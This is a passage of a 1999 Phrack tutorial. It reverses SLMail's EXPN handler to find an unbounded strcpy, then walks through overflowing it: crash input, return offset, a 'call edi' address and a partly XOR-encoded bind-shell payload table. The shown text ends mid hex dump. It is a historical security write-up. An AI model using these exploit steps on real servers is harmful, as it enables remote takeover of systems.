2194 lines
77 KiB
Plaintext
2194 lines
77 KiB
Plaintext
-------[ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 15 of 19 ]
|
||
|
||
|
||
-------------------------[ Win32 Buffer Overflows
|
||
(Location, Exploitation and Prevention)
|
||
|
||
|
||
--------[ dark spyrit AKA Barnaby Jack <dspyrit@beavuh.org> ]
|
||
|
||
|
||
----[ Abstract
|
||
|
||
"If you assume that there's no hope, you guarantee there will be no hope.
|
||
If you assume that there is an instinct for freedom, there are
|
||
opportunities to change things."
|
||
|
||
-Noam Chomsky
|
||
|
||
|
||
The Internet - the last great stronghold of freedom of thought, ideas and
|
||
expression - and with each passing moment the bleak outcome of a corporate
|
||
and government controlled entity increases in probability.
|
||
|
||
The battle lines have been drawn, and for the moment, we have the upper
|
||
hand, but only by a margin.
|
||
|
||
Software companies with no alternative but to resort to the censorship of
|
||
knowledge have made their presence felt, sites relating to the 'black art'
|
||
of software reversing and the like are being removed on a continual basis.
|
||
|
||
Hopefully, the few unrestrained who walk the back alleys will continue to
|
||
publish information - and create avenues for others to expand, spread and
|
||
develop - this is where the battle will be won.
|
||
|
||
Assembly language is a weapon chosen only by few, but those who possess
|
||
the skill to harness its power can and will defeat any of the newer tools
|
||
of modern combat.
|
||
|
||
I wish you the best of luck finding information, though. With power, comes a
|
||
price - Assembler isn't the easiest language to learn, and as such you may
|
||
have trouble finding documentation among the hordes of Visual this, Visual
|
||
that, Visual Bloat for Dummies.. but continue your search, you'll be glad
|
||
you did.
|
||
|
||
When profit gain is the primary momentum, speed, control, size and performance
|
||
of your software is sacrificed for ease of use and 'prompt development'.
|
||
The need to know what goes on internally is a rare necessity and optimization
|
||
is of little importance. Those that remain untainted by the prospect of
|
||
monetary rewards, and first and foremost are driven by the sheer desire to
|
||
better educate ones self, are those that will always be on the pinnacle -
|
||
and are those that are feared most of all.
|
||
|
||
With Windows NT now a major player, and the open source movement not looking
|
||
to have any impact in the near future, the ability to 'look under the hood' is
|
||
an incredibly valuable asset and will be the focus of the first section in
|
||
this paper.
|
||
|
||
It is of no great surprise that attempts to outlaw reverse engineering are
|
||
currently in the works, but the effects of such a proposal would be disastrous.
|
||
|
||
Despite the fact that it is an open invitation for vendors to use sub-standard
|
||
coding practice, there are those in the security industry who rely on these
|
||
techniques to find and document vulnerabilities. The online world would
|
||
suffer as a result.
|
||
|
||
Do not concede.
|
||
|
||
|
||
Introduction.
|
||
~~~~~~~~~~~~~
|
||
|
||
This paper will be separated into 3 sections.
|
||
|
||
The first will cover a standard reversing session, and we'll point out a
|
||
common vulnerability.
|
||
|
||
The second will demonstrate the process of exploiting the weakness - the
|
||
problem with most win32 remote overflow exploits stems from the payload,
|
||
the current trend is to have the shellcode download an external file and
|
||
execute.
|
||
|
||
Far too many problems result from this technique, depending on
|
||
router/firewall configurations etc.
|
||
|
||
The payload I present to you will directly spawn a full-blown shell on any
|
||
port you specify, eliminating 90% of most reported problems. This is the
|
||
first of its kind as far as I am aware.
|
||
|
||
The last section will show how to add your own code to the executables
|
||
of your target to prevent exploitation.
|
||
|
||
|
||
The example I will be using for this document is the latest version of
|
||
Seattle Labs mail server (3.2.3113). There are numerous buffer overflows
|
||
riddled throughout this software, we'll be concentrating on a port opened by
|
||
the POP service, which provides the Extended Turn functions.
|
||
|
||
Seattle Labs were contacted about this in a previous version but did not
|
||
bother to remedy the situation, instead they just changed the default port
|
||
from 27 to 8376.
|
||
|
||
Bad move.
|
||
|
||
The vulnerabilities were made public by the way, so please, Russ, don't send
|
||
me nasty emails.
|
||
|
||
Before we begin I will assume you have a general knowledge of Assembler,
|
||
Windows programming, a basic understanding of the Portable Executable
|
||
structure and you know the fundamentals of buffer overflows - I won't be
|
||
re-hashing the basics in this paper.
|
||
|
||
|
||
Tools Required:
|
||
|
||
Interactive Disassembler from http://www.datarescue.com - hands down the BEST
|
||
disassembler for the PC.
|
||
|
||
A decent debugger, e.g.: SoftIce.
|
||
|
||
PE Dump from Matt Peitrek, or dumpbin will suffice.
|
||
|
||
A hex editor, any will do.. PS Edit does nicely.
|
||
|
||
A Win32 API reference.
|
||
|
||
If you want to assemble the tools/exploits that accompany this paper then
|
||
you'll also need TASM 5.0.
|
||
|
||
The binaries will be available at http://www.beavuh.org as well as the
|
||
latest goodies that we feel the need to release.
|
||
|
||
|
||
Section 1: Under the Hood.
|
||
~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
Interactive Disassembler Pro is without a doubt, THE tool for reversing code.
|
||
Disassembly begins from the entry point of the program, and follows all routes
|
||
of execution, then continues to locate functions outside of the main flow of
|
||
the program. You have full control over what is marked as data or code. IDA
|
||
recognizes a huge amount of library functions, which provides a much better
|
||
understanding of the target. It will disassemble an unbelievable amount of
|
||
file formats, from a wide range of processors. You're given the ability to
|
||
have repeatable comments, labels, modify any piece of code, function,
|
||
"interactively". IDA also includes it's own macro language, to automate
|
||
your chores.
|
||
|
||
If I were to cover everything this tool can do I would be here all day, and
|
||
I'd still be missing something.
|
||
|
||
With the combined effort of IDA and Soft Ice, there are no barriers.
|
||
|
||
This section will be rather short, the only reason being that IDA cuts through
|
||
SLMail's code like a machete.
|
||
|
||
Load up slmail.exe into IDA and we'll get underway...
|
||
|
||
|
||
First we need to think about our target for a minute, we're going to try and
|
||
exploit one of the SMTP commands so it is almost certain they will be accessed
|
||
and compared from a table.. Let's do a search:
|
||
|
||
Hit <alt+b> "search for text in core" and enter "EXPN", we'll land smack in
|
||
the middle of these ASCII strings.
|
||
|
||
|
||
004439C0 aSize db 'SIZE',0
|
||
004439C5 align 4
|
||
004439C8 aXtrn db 'XTRN',0
|
||
004439CD align 4
|
||
004439D0 aEtrn db 'ETRN',0
|
||
004439D5 align 4
|
||
004439D8 aQuit db 'QUIT',0 ; DATA XREF: sub_403970+280o
|
||
004439D8 ; .data:00448A60o
|
||
004439DD align 4
|
||
004439E0 aHelp_0 db 'HELP',0
|
||
004439E5 align 4
|
||
004439E8 aTurn db 'TURN',0 ; DATA XREF: sub_403970+F0o
|
||
004439ED align 4
|
||
004439F0 aExpn db 'EXPN',0
|
||
|
||
...<snip>
|
||
|
||
|
||
Now we need to find the table that references the commands, so we'll do
|
||
another search.. this time entering the dword offset to the left of EXPN
|
||
(004439f0).
|
||
|
||
And we land in the middle of this mess:
|
||
|
||
|
||
004436F8 dword_4436F8 dd 443A98h ; DATA XREF: sub_404390+24r
|
||
004436F8 ; sub_404390+34o
|
||
004436FC db 3 ;
|
||
004436FD db 0 ;
|
||
004436FE db 0 ;
|
||
004436FF db 0 ;
|
||
00443700 db 94h ; "
|
||
00443701 db 3Ah ; :
|
||
00443702 db 44h ; D
|
||
00443703 db 0 ;
|
||
00443704 db 0Ah ;
|
||
00443705 db 0 ;
|
||
00443706 db 0 ;
|
||
00443707 db 0 ;
|
||
00443708 db 90h ;
|
||
00443709 db 3Ah ; :
|
||
0044370A db 44h ; D
|
||
0044370B db 0 ;
|
||
0044370C db 1 ;
|
||
0044370D db 0 ;
|
||
0044370E db 0 ;
|
||
0044370F db 0 ;
|
||
|
||
...<snip>
|
||
|
||
004437E8 db 0F0h ;
|
||
004437E9 db 39h ; 9
|
||
004437EA db 44h ; D
|
||
004437EB db 0 ;
|
||
004437EC db 19h ;
|
||
004437ED db 0 ;
|
||
004437EE db 0 ;
|
||
004437EF db 0 ;
|
||
|
||
|
||
There's no point showing the complete table here, now.. take a look at its
|
||
structure.
|
||
|
||
|
||
<pointer to string> <dword> <pointer to string> <dword> etc
|
||
|
||
|
||
My best guess here is that the dword value following each pointer will be the
|
||
value assigned after a successful comparison. Let's check our theory. Also we
|
||
should note down our value after the pointer to "EXPN" : 004439f0h, 00000019h.
|
||
|
||
0x19, we'll keep that in mind.
|
||
|
||
Scroll up and at the top of the table you see:
|
||
|
||
|
||
004436F8 dword_4436F8 dd 443A98h ; DATA XREF: sub_404390+24r
|
||
004436F8 ; sub_404390+34o
|
||
|
||
|
||
You can see to the right where the table is referenced, so click on the
|
||
subroutine and we'll land straight into the call.
|
||
|
||
|
||
004043B4 loc_4043B4: ; CODE XREF: sub_404390+11j
|
||
004043B4 mov ecx, dword_4436F8
|
||
004043BA test ecx, ecx
|
||
004043BC jz short loc_4043F3
|
||
004043BE mov ebp, ds:lstrlenA
|
||
004043C4 mov esi, offset dword_4436F8
|
||
|
||
|
||
Our table loaded at esi, ebp contains the address of lstrlenA.
|
||
|
||
|
||
004043C9
|
||
004043C9 loc_4043C9: ; CODE XREF: sub_404390+61j
|
||
004043C9 test eax, eax
|
||
004043CB jnz short loc_4043F3
|
||
004043CD mov eax, [esi]
|
||
004043CF push eax
|
||
004043D0 call ebp
|
||
|
||
|
||
Here we go, the string first moved to eax and then a string length function
|
||
called.
|
||
|
||
|
||
004043D2 mov ecx, [esi]
|
||
004043D4 push eax
|
||
004043D5 push ecx
|
||
004043D6 push ebx
|
||
004043D7 call j_lstrncmpi
|
||
004043DC neg eax
|
||
004043DE sbb eax, eax
|
||
004043E0 inc eax
|
||
004043E1 jz short loc_4043E9
|
||
|
||
|
||
Now we know that the parameters for lstrncmpi are as follows:
|
||
|
||
strncmpi(first_string, second_string, number_of_chars);
|
||
|
||
The first parameter pushed on the stack is the return from the string length
|
||
function, ecx is then pushed which points to the string, and finally ebx.
|
||
So we can determine from this that ebx contains the input from the user.
|
||
I can see that some of you may be a little puzzled here, yes - parameters
|
||
are pushed on to the stack in reverse order.
|
||
|
||
|
||
004043E3 xor edi, edi
|
||
004043E5 mov di, [esi+4]
|
||
|
||
|
||
Ah, just as we suspected.. if there is a successful comparison then di is
|
||
loaded with the value that followed our pointer.
|
||
|
||
|
||
004043E9
|
||
004043E9 loc_4043E9: ; CODE XREF: sub_404390+51j
|
||
004043E9 mov ecx, [esi+8]
|
||
004043EC add esi, 8
|
||
004043EF test ecx, ecx
|
||
004043F1 jnz short loc_4043C9
|
||
|
||
loop :)
|
||
|
||
004043F3
|
||
004043F3 loc_4043F3: ; CODE XREF: sub_404390+18j
|
||
004043F3 ; sub_404390+2Cj ...
|
||
004043F3 mov eax, edi
|
||
004043F5 pop edi
|
||
004043F6 pop esi
|
||
004043F7 pop ebp
|
||
004043F8 pop ebx
|
||
004043F9 retn
|
||
004043F9 sub_404390 endp ; sp = -10h
|
||
004043F9
|
||
|
||
|
||
And finally eax holds our value, and we return from the call. Let's continue.
|
||
|
||
|
||
00405EC7 mov edx, [esp+2Ch+arg_8]
|
||
00405ECB mov ebx, eax
|
||
00405ECD mov eax, [esp+2Ch+arg_4]
|
||
00405ED1 push edx
|
||
00405ED2 push eax
|
||
00405ED3 push esi
|
||
00405ED4 lea ecx, [esp+3Ch]
|
||
00405ED8 push edi
|
||
00405ED9 push ecx
|
||
00405EDA push ebx
|
||
00405EDB call sub_404850
|
||
|
||
|
||
Now, the important things to take note of here is edx gets our inputted
|
||
string, and ebx is given our value from the table (0x19). Remember the
|
||
order in which our registers were pushed, so we will be able to tell what
|
||
is being referenced from the stack - and in the next call we will rename
|
||
the stack variables to make it easier on ourselves.
|
||
|
||
Note: I'm not taking advantage of some of the GREAT features IDA possesses
|
||
- repeatable comments, labels and much more. A necessity while on a real
|
||
reversing journey.
|
||
|
||
|
||
00404850 sub_404850 proc near ; CODE XREF: sub_405330+73p
|
||
00404850 ; sub_405560+73p ...
|
||
00404850
|
||
00404850 var_270 = byte ptr -270h
|
||
00404850 var_26C = dword ptr -26Ch
|
||
00404850 var_268 = byte ptr -268h
|
||
00404850 var_264 = byte ptr -264h
|
||
00404850 var_23C = byte ptr -23Ch
|
||
00404850 var_230 = byte ptr -230h
|
||
00404850 var_168 = byte ptr -168h
|
||
00404850 var_110 = byte ptr -110h
|
||
00404850 var_105 = byte ptr -105h
|
||
00404850 var_104 = byte ptr -104h
|
||
00404850 var_10 = dword ptr -10h
|
||
00404850 var_4 = dword ptr -4
|
||
00404850 our_val = dword ptr 4
|
||
00404850 arg_4 = dword ptr 8
|
||
00404850 arg_8 = dword ptr 0Ch
|
||
00404850 arg_C = dword ptr 10h
|
||
00404850 arg_10 = dword ptr 14h
|
||
00404850 our_input = dword ptr 18h
|
||
00404850
|
||
00404850 mov ecx, [esp+our_val]
|
||
00404854 sub esp, 26Ch
|
||
0040485A xor eax, eax
|
||
0040485C cmp ecx, 8
|
||
0040485F push ebx
|
||
00404860 push ebp
|
||
00404861 push esi
|
||
00404862 push edi
|
||
00404863 jnz loc_4048E9
|
||
|
||
|
||
We rename the useful stack arguments to something easier to remember,
|
||
arg_0 = our_val, and arg_14 = our_input - if you're lost go back and take
|
||
another look at the order the registers were pushed.
|
||
|
||
ecx is loaded with our 0x19 value. It is then compared to 8, which is not
|
||
us, so we'll follow the jump.
|
||
|
||
|
||
004048E9
|
||
004048E9 loc_4048E9: ; CODE XREF: sub_404850+13j
|
||
004048E9 cmp ecx, 17h
|
||
004048EC jnz short loc_40495A
|
||
004048EE mov ecx, [esp+27Ch+arg_10]
|
||
004048F5 mov esi, [esp+27Ch+arg_C]
|
||
004048FC mov eax, [ecx]
|
||
004048FE cmp eax, 8
|
||
00404901 jnz short loc_404914
|
||
00404903 mov ecx, [esi+100h]
|
||
00404909 test ecx, ecx
|
||
0040490B jz short loc_404914
|
||
0040490D mov ebx, 1
|
||
00404912 jmp short loc_404916
|
||
|
||
|
||
A comparison to 17h, again.. not us, so we continue to follow the jumps until
|
||
we reach...
|
||
|
||
|
||
00404B7F loc_404B7F: ; CODE XREF: sub_404850+1C0j
|
||
00404B7F cmp ecx, 19h
|
||
00404B82 jnz loc_404D7F
|
||
00404B88 mov eax, dword_457354
|
||
00404B8D test eax, eax
|
||
00404B8F jz loc_404D4F
|
||
00404B95 mov eax, dword_457384
|
||
00404B9A mov edi, [esp+27Ch+our_input]
|
||
00404BA1 push 0
|
||
00404BA3 push eax
|
||
00404BA4 push edi
|
||
00404BA5 call sub_4365A0
|
||
|
||
|
||
And here's our boy, note how our variables we renamed follow all through
|
||
the call, IDA rocks doesn't it? :)
|
||
|
||
So edi gets our string input, and we follow yet another call - again we'll
|
||
rename the useful stack variable upon entering the next call.
|
||
i.e.: edi = arg_0 = our_input
|
||
|
||
|
||
004365A0 sub_4365A0 proc near ; CODE XREF: sub_4029D0+92p
|
||
004365A0 ; sub_4029D0+107p ...
|
||
004365A0
|
||
004365A0 var_12C = byte ptr -12Ch
|
||
004365A0 var_12B = byte ptr -12Bh
|
||
004365A0 our_input = dword ptr 4
|
||
004365A0 arg_4 = dword ptr 8
|
||
004365A0 arg_8 = dword ptr 0Ch
|
||
004365A0
|
||
004365A0 mov eax, [esp+arg_8]
|
||
004365A4 mov ecx, [esp+arg_4]
|
||
004365A8 sub esp, 12Ch
|
||
004365AE lea edx, [esp+12Ch+var_12C]
|
||
004365B2 push 0
|
||
004365B4 push eax
|
||
004365B5 mov eax, [esp+134h+our_input]
|
||
004365BC push ecx
|
||
004365BD push 12Ch
|
||
004365C2 push edx
|
||
004365C3 push eax
|
||
004365C4 call sub_4364A0
|
||
|
||
|
||
And yet another call, again take notice of the order in which the registers
|
||
were pushed, eax=arg_0=our_input. I have a feeling we are getting closer
|
||
to the goods.
|
||
|
||
Ok, I admit it. I peeked.
|
||
|
||
|
||
004364A0 sub_4364A0 proc near ; CODE XREF: sub_436470+1Bp
|
||
004364A0 ; sub_4365A0+24p ...
|
||
004364A0
|
||
004364A0 var_98 = byte ptr -98h
|
||
004364A0 var_8C = byte ptr -8Ch
|
||
004364A0 var_78 = byte ptr -78h
|
||
004364A0 var_6C = byte ptr -6Ch
|
||
004364A0 var_35 = byte ptr -35h
|
||
004364A0 var_15 = byte ptr -15h
|
||
004364A0 var_8 = dword ptr -8
|
||
004364A0 var_4 = dword ptr -4
|
||
004364A0 our_input = dword ptr 4
|
||
004364A0 arg_4 = dword ptr 8
|
||
004364A0
|
||
004364A0 mov eax, [esp+our_input]
|
||
004364A4 sub esp, 64h
|
||
004364A7 push ebx
|
||
004364A8 push ebp
|
||
004364A9 push esi
|
||
004364AA mov esi, [esp+70h+arg_4]
|
||
004364AE push edi
|
||
004364AF push eax
|
||
004364B0 push esi
|
||
004364B1 call ds:lstrcpyA
|
||
004364B7 push 40h
|
||
004364B9 push esi
|
||
004364BA call j_lstrchr
|
||
004364BF test eax, eax
|
||
004364C1 jz short loc_4364C6
|
||
004364C3 mov byte ptr [eax], 0
|
||
|
||
|
||
And here we have it, the classic screw-up. esi points to the buffer, eax
|
||
has our string - *bang* strcpy.
|
||
|
||
Did anyone out there notice any form of bounds checking up to this point?
|
||
I sure didn't.
|
||
|
||
Please guys, do not try to hide from us - we CAN see what you do.
|
||
|
||
Now we know EXPN is our sure-fire victim. Feel free to follow some of the
|
||
other commands, you will run into similar coding practice, Seattle Labs
|
||
have a lot to clean up.
|
||
|
||
From a relatively quick reversing session, we find a common mistake - yet
|
||
a mistake that compromises the entire server.
|
||
|
||
Now, obviously, a lot of sessions won't be as straight forward - wait for
|
||
a rainy day, have an extra packet of cigarettes on hand, a bottle of vodka,
|
||
crank some 30footFALL and get hacking - patience is a virtue, take your time
|
||
and navigate the code, you'll be amazed at what you find.
|
||
|
||
And hey, even if you come up empty, by the time you've downed that bottle you
|
||
won't care anyway.
|
||
|
||
With enough patience and determination, you will find a barrage of different
|
||
holes and vulnerabilities through disassembly techniques. It is an asset
|
||
worth having.
|
||
|
||
|
||
Section 2: The Exploit.
|
||
~~~~~~~~~~~~~~~~~~~~~~~
|
||
|
||
Although this section will cover some tricks, techniques and the process
|
||
of exploiting overflows in Windows, the main purpose of this section is to
|
||
document what I consider the most ideal shellcode available for Win32
|
||
exploits at this time.
|
||
|
||
The last thing I want to do is go over already covered ground - none the
|
||
less, I will document the route I took personally before creating the
|
||
payload. To those of you who have done this sort of thing before, feel
|
||
free to skip straight to the shellcode.
|
||
|
||
Before we begin, I just have something to say quickly regarding some members
|
||
of the security community.
|
||
|
||
When I released the IIS exploit (the definition of proof of concept :)),
|
||
some of the mail was rather unsettling.
|
||
|
||
Mail from employees of large corporations and yes, government agencies,
|
||
bearing titles such as 'Head of Network Security' and similar who were
|
||
using the exploit to determine the risk to their servers. If the exploit
|
||
failed, some were prepared to class the risk as minimal.
|
||
|
||
Do not determine the threat to your servers solely on the results of one
|
||
public exploit - the vulnerability exists, fix it. If you think that was
|
||
the only demonstration code floating around you need your head examined.
|
||
|
||
Hopefully now, you may change your attitude. The masses now have full
|
||
control, without fail.
|
||
|
||
Here we go.
|
||
|
||
My experience with NT is rather limited, in fact, I've only recently made
|
||
the move from spelunking Windows 9x.
|
||
|
||
Unfortunately what I've noticed under NT is SoftIce has a bit of trouble
|
||
trapping faults, and other debuggers tend to break in after the exception
|
||
handling has kicked in.
|
||
|
||
This sucks for a couple of reasons.
|
||
|
||
If an exception is raised after a string length routine tries to read from
|
||
invalid memory for example, under NT its quite likely that it'll be the
|
||
exception handler itself that overwrites eip with your data (IIS comes to
|
||
mind again).
|
||
|
||
We can route our eip to an offset at that point if we wish, but it isn't
|
||
particularly delicate, we'd be much better off to try and throw in some
|
||
valid addresses and let the code ret to an eip with our data.
|
||
|
||
What I suggest is setting a breakpoint on the exception dispatcher and
|
||
dumping the eip it was called from..
|
||
|
||
e.g.: bpx KiUserExceptionDispatcher DO "dd *esp+0c"
|
||
|
||
Now if eip hasn't been overwritten you can break at that offset and see
|
||
what you have to play with, if eip has been taken then the offset at that
|
||
location should be your bytes.
|
||
|
||
In that case you can either try and trace back into the blown stack and
|
||
find a location to break on relatively close to where we ret to our eip,
|
||
or just take an educated guess.
|
||
|
||
The latter is the path we'll take.
|
||
|
||
Let's break this thing.
|
||
|
||
attica:~> telnet 192.168.10.3 8376
|
||
Trying 192.168.10.3...
|
||
Connected to 192.168.10.3.
|
||
Escape character is '^]'.
|
||
220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
|
||
expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||
|
||
Our debugger breaks in, obviously in this case eip has been totally
|
||
taken, look at where the handler was called - 0x78787878, i.e.: xxxx.
|
||
|
||
Ok, now we want to find the exact point in the code where we return to our
|
||
address - let's take a look at the disassembly.
|
||
|
||
|
||
004364AF push eax
|
||
004364B0 push esi
|
||
004364B1 call ds:lstrcpyA
|
||
|
||
|
||
Let's set a breakpoint just above the call to lstrcpy, that way we can also
|
||
have a closer look at the buffer manipulation and we should be mere footsteps
|
||
away from total system control.
|
||
|
||
Ok, send the data and let your debugger kick in, ret out of the call and
|
||
you'll quickly reach..
|
||
|
||
|
||
or eax, -01
|
||
add esp, 0000012c
|
||
ret
|
||
|
||
|
||
That's where we wanna be, that ret will drop us to our eip. We have control.
|
||
|
||
Now, to go somewhere useful.
|
||
|
||
Let's examine the registers and see what we have to play with, esp is totaled
|
||
and points somewhere around the middle of our buffer. So we could jump the
|
||
stack, but why bother? Take a look at some of those other registers - edi
|
||
has our buffer directly after the "expn". We couldn't have asked for
|
||
anything better. Although there are a fair few different ways to jump the
|
||
stack, we'll almost always find a "call edi" or similar.
|
||
|
||
Let's think about this for a moment, in a perfect world we'd just reference
|
||
an offset in slmail.exe - but this is the world of Windows.
|
||
|
||
We have to avoid null bytes so unfortunately we can't use the exe itself, as
|
||
it is loaded at the default base address of 0x00400000. We could use a
|
||
location in the executable if we were to place our offset at the end of our
|
||
data, as we'd have the null at the end of the string, but that doesn't leave
|
||
us with enough space for a decent payload. Remember we don't want this to be
|
||
dependent on the version of NT at all, so we either need to use a DLL included
|
||
with SLMail or an external DLL that is static on all service packs.
|
||
|
||
So let's take a look at what else has been loaded from that process.
|
||
SysInternals (http://www.sysinternals.com) have a handy little util called
|
||
listdlls which will show you just that.
|
||
|
||
|
||
C:\tools>listdlls slmail.exe
|
||
|
||
ListDLLs V2.1
|
||
Copyright (C) 1997-1999 Mark Russinovich
|
||
http://www.sysinternals.com
|
||
|
||
------------------------------------------------------------------------------
|
||
slmail.exe pid: 159
|
||
Base Size Version Path
|
||
0x00400000 0x62000 3.02.0001.1204 E:\PROGRA~1\SLmail\slmail.exe
|
||
0x77f60000 0x5c000 4.00.1381.0130 E:\WINNT\System32\ntdll.dll
|
||
0x10000000 0xc000 2.03.0000.0000 E:\WINNT\system32\OpenC32.dll
|
||
0x77f00000 0x5e000 4.00.1381.0133 E:\WINNT\system32\KERNEL32.dll
|
||
0x77ed0000 0x2c000 4.00.1381.0115 E:\WINNT\system32\GDI32.dll
|
||
0x77e70000 0x54000 4.00.1381.0133 E:\WINNT\system32\USER32.dll
|
||
0x77dc0000 0x3f000 4.00.1381.0121 E:\WINNT\system32\ADVAPI32.dll
|
||
0x77e10000 0x57000 4.00.1381.0131 E:\WINNT\system32\RPCRT4.dll
|
||
0x77d80000 0x32000 4.00.1381.0027 E:\WINNT\system32\comdlg32.dll
|
||
0x77c40000 0x13c000 4.00.1381.0114 E:\WINNT\system32\SHELL32.dll
|
||
0x77aa0000 0x74000 4.72.3609.2200 E:\WINNT\system32\COMCTL32.dll
|
||
0x776d0000 0x8000 4.00.1381.0131 E:\WINNT\system32\WSOCK32.dll
|
||
0x776b0000 0x14000 4.00.1381.0133 E:\WINNT\system32\WS2_32.dll
|
||
0x78000000 0x40000 6.00.8337.0000 E:\WINNT\system32\MSVCRT.dll
|
||
0x776a0000 0x7000 4.00.1381.0031 E:\WINNT\system32\WS2HELP.dll
|
||
0x77a90000 0xb000 4.00.1371.0001 E:\WINNT\system32\VERSION.dll
|
||
0x779c0000 0x8000 4.00.1371.0001 E:\WINNT\system32\LZ32.dll
|
||
0x77bf0000 0x7000 4.00.1381.0072 E:\WINNT\system32\rpcltc1.dll
|
||
0x77660000 0xf000 4.00.1381.0037 E:\WINNT\system32\msafd.dll
|
||
0x77690000 0x9000 4.00.1381.0037 E:\WINNT\System32\wshtcpip.dll
|
||
0x74ff0000 0xd000 4.00.1381.0131 E:\WINNT\System32\rnr20.dll
|
||
|
||
|
||
There's not much loaded there in the way of its own DLL's, so we'll have to
|
||
pick something external. LZ32.DLL will do, static on all service packs,
|
||
has the code we need and the offset has no null bytes.
|
||
|
||
We find at location 0x779C1CAA we have a "call edi", that'll do nicely.
|
||
|
||
The next problem - we need to know where in our buffer to stuff our offset.
|
||
A quick and easy way to find this out is to fill your buffer with a heap
|
||
of independent bytes, 1A, 2A, 3A, 4A....A1, A2 and so on, and you'll be
|
||
able to pinpoint the location when eip is overwritten.
|
||
|
||
Quickly we notice that the location we need is about 300 bytes into our buffer,
|
||
so we have:
|
||
|
||
expn <299 nops> 0x779c1caa
|
||
|
||
So in its current form, if we were to send that data, eip would return to the
|
||
offset 0x779c1caa which would call edi and execute our nops - before the offset
|
||
we will also add in a short jump to bypass the garbage instructions that our
|
||
offset was translated to.
|
||
|
||
Now all that remains is to tack our payload on to the end.
|
||
|
||
It's time.
|
||
|
||
|
||
The Payload.
|
||
~~~~~~~~~~~~
|
||
|
||
Note: the ideas for the string table/jump table came from DilDog, very cool.
|
||
Amazing work you do.
|
||
|
||
The goal:
|
||
|
||
An exploit that spawns a command prompt directly on a specified port, and will
|
||
execute successfully on all NT versions.
|
||
|
||
Considerations:
|
||
|
||
- We are unsure of the exact OS version.
|
||
- Function locations will differ depending on versions/service packs/upgrades.
|
||
- The import table for SLMail does not have all needed functions.
|
||
- We must avoid null bytes, carriage returns etc.
|
||
|
||
We can take care of the first three problems by linking to the IAT of slmail,
|
||
and using those procedures to load external functions. As for the fourth?
|
||
We'll just have to be clever.
|
||
|
||
In order for me to keep the shellcode as generic as possible, we will create a
|
||
jump table of all external functions we will be using, without relying on
|
||
SLMails imports - with two exceptions.
|
||
|
||
For us to be able to load DLL's and retrieve the addresses for needed
|
||
procedures we will need to reference two functions from the import table
|
||
of slmail.exe:
|
||
|
||
GetProcAddress and LoadLibraryA.
|
||
|
||
Before I show the table we create, I want to give a brief rundown on what's
|
||
involved when spawning a remote shell under Windows NT. Unfortunately it
|
||
is not anywhere near as straight forward as when you're working with *nix,
|
||
but, of course, it's do-able. To be able to spawn a full-blown remote
|
||
shell, we need to be able to redirect standard output and standard error
|
||
to the connected user, and the connected user must have control over
|
||
standard input.
|
||
|
||
The answer?
|
||
|
||
Anonymous Pipes.
|
||
|
||
The primary use for anonymous pipes is to exchange data between
|
||
parent/child processes, or just between child processes.
|
||
|
||
The anonymous pipe is a one-way pipe - the data will flow in one
|
||
direction - from one end, to the other. The usefulness is apparent when
|
||
we are working with the console, as we can replace the handles of
|
||
stdin/stdout/stderr with handles to the ends of the created pipes. We can
|
||
then read and write to the pipes with the Read and Writefile API's. From
|
||
the read end of the stdout pipe, we send the buffer to the connected socket
|
||
and subsequently what we receive from the connected socket we fire off to
|
||
the write end of the stdin pipe.
|
||
|
||
To keep it generic our string table is unfortunately going to have to include
|
||
a fair few functions, all taking up precious bytes. When you are strapped
|
||
for stack space you'll want to make use of more functions from your targets
|
||
IAT.
|
||
|
||
|
||
The table:
|
||
|
||
db "KERNEL32",0 ;string to push for LoadLibrary.
|
||
db "CreatePipe",0
|
||
db "GetStartupInfoA",0
|
||
|
||
;we will modify the start-up structure at runtime as the structure is far
|
||
;too large to include in the shellcode.
|
||
|
||
db "CreateProcessA",0
|
||
db "PeekNamedPipe",0
|
||
db "GlobalAlloc",0
|
||
db "WriteFile",0
|
||
db "ReadFile",0
|
||
db "Sleep",0
|
||
db "ExitProcess",0
|
||
|
||
db "WSOCK32",0
|
||
db "socket",0
|
||
db "bind",0
|
||
db "listen",0
|
||
db "accept",0
|
||
db "send",0
|
||
db "recv",0
|
||
|
||
sockstruc STRUCT
|
||
sin_family dw 0002h
|
||
sin_port dw ?
|
||
sin_addr dd ?
|
||
sin_zero db 8 dup (0)
|
||
sockstruc ENDS
|
||
|
||
;the sin_port word value will be filled by the exploit client before the
|
||
;shellcode is sent.
|
||
|
||
db "cmd.exe",0
|
||
dd 0ffffffffh
|
||
db 00dh, 00ah
|
||
|
||
;the string to push to invoke the command prompt.
|
||
;the dword at the end will be used to reference the end of the string table
|
||
;at runtime.
|
||
|
||
|
||
Now, I know what you're thinking - all those strings are null-terminated,
|
||
and the structures contain null bytes. To get around this, we will XOR
|
||
the string table with 0x99, except for the carriage, linefeed, and the
|
||
0xFFFFFFFF dword.
|
||
|
||
If all went to plan, your encrypted table should look a little something
|
||
like this:
|
||
|
||
|
||
00000280 .. .. .. .. .. .. .. .. .. .. .. D2 DC CB D7 DC .....
|
||
00000290 D5 AA AB 99 DA EB FC F8-ED FC C9 F0 E9 FC 99 DE ................
|
||
